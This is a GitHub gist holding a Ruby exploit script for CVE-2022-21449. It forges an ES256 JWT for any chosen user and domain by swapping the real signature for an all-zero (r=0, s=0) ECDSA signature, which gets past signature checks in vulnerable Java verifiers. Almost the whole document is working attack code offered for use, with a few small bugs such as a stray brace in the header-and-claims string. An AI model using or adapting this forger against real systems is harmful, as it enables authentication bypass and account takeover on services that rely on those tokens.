Skip to content

Instantly share code, notes, and snippets.

@dualfade
Last active August 7, 2023 14:29
Show Gist options
  • Save dualfade/e72a79f9d2c859b6f84ec2216e69d1ad to your computer and use it in GitHub Desktop.
Save dualfade/e72a79f9d2c859b6f84ec2216e69d1ad to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby
# cve-2022-21449
# dualfade --
# rewrite in ruby 3 --
# imports --
require 'bundler/inline'
require 'ecdsa/signature'
require 'ecdsa/format'
gemfile do
source 'https://rubygems.org'
gem 'uri', require: true
gem 'jwt', require: true
gem 'slop', require: true
gem 'base64', require: true
end
# logger --
# https://bit.ly/3uDrWiz --
require 'logger'
# TODO: make global instance --
# https://www.codecademy.com/resources/docs/ruby/variables --
logger = Logger.new($stdout)
original_formatter = Logger::Formatter.new
logger.formatter = proc { |severity, datetime, progname, msg|
original_formatter.call(severity, datetime, progname, msg.dump)
}
def create_es256_token(user, domain)
# create token; split out encoded jwt --
logger = Logger.new($stdout)
# ecdsa opts --
ecdsa_key = OpenSSL::PKey::EC.new 'prime256v1'
ecdsa_key.generate_key
ecdsa_public = OpenSSL::PKey::EC.new ecdsa_key
ecdsa_public.private_key = nil
# payload --
email = "#{user}@#{domain}"
payload = { "sub": email }
# enc / dec --
token = JWT.encode payload, ecdsa_key, 'ES256'
logger.info(token)
decoded_token = JWT.decode token, ecdsa_public, true, { algorithm: 'ES256' }
logger.info(decoded_token)
token
end
def ecdsa_encode_der
# re encode r,s SECP256k1; return --
# https://bit.ly/3NKHgRa --
# https://bit.ly/3yaHtal --
logger = Logger.new($stdout)
sig = ECDSA::Signature.new(0, 0)
logger.info(format('s, r sig; inspect => %s', sig.inspect))
# derify the sig --
der = ECDSA::Format::SignatureDerString.encode(sig)
b64_der = Base64.strict_encode64(der)
end
def forge_signature(token, b64_der)
# replace signature with forged b64 --
logger = Logger.new($stdout)
t = token.split('.')
u = (t[0])
c = (t[1])
alg_claims = "#{u}.#{c}}"
# create final jwt --
forged_jwt = URI.encode_www_form_component("#{alg_claims}.#{b64_der}")
logger.info(format('forged jwt -> %s', forged_jwt))
end
# errors --
def error(message)
# logger; new instance obj --
logger = Logger.new($stdout)
logger.info(format('%s', message))
end
# main --
if __FILE__ == $PROGRAM_NAME
# getopts --
# https://bit.ly/3OBPyfg --
logger.info('starting exploit')
begin
opts = Slop.parse do |o|
o.string('-u', '--username', 'user: admin')
o.string('-d', '--domain', 'domain: example.com')
o.on('-h', '--help', 'help: this menu') do
puts(o)
exit
end
end
# error check; stdout --
exit logger.error('exit => missing username') if opts[:username].nil?
exit logger.error('exit -> missing domain') if opts[:domain].nil?
# p(opts.to_hash)
user = (opts[:username])
domain = (opts[:domain])
logger.info(format('genrating jwt for => u: %s d: %s', user, domain))
# token --
token = create_es256_token(user, domain)
b64_der = ecdsa_encode_der
forge_signature(token, b64_der)
rescue Slop::Error => e
logger.error(e)
rescue StandardError => e
logger.error(e)
end
else
puts('placeholder')
end
# __EOF__
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment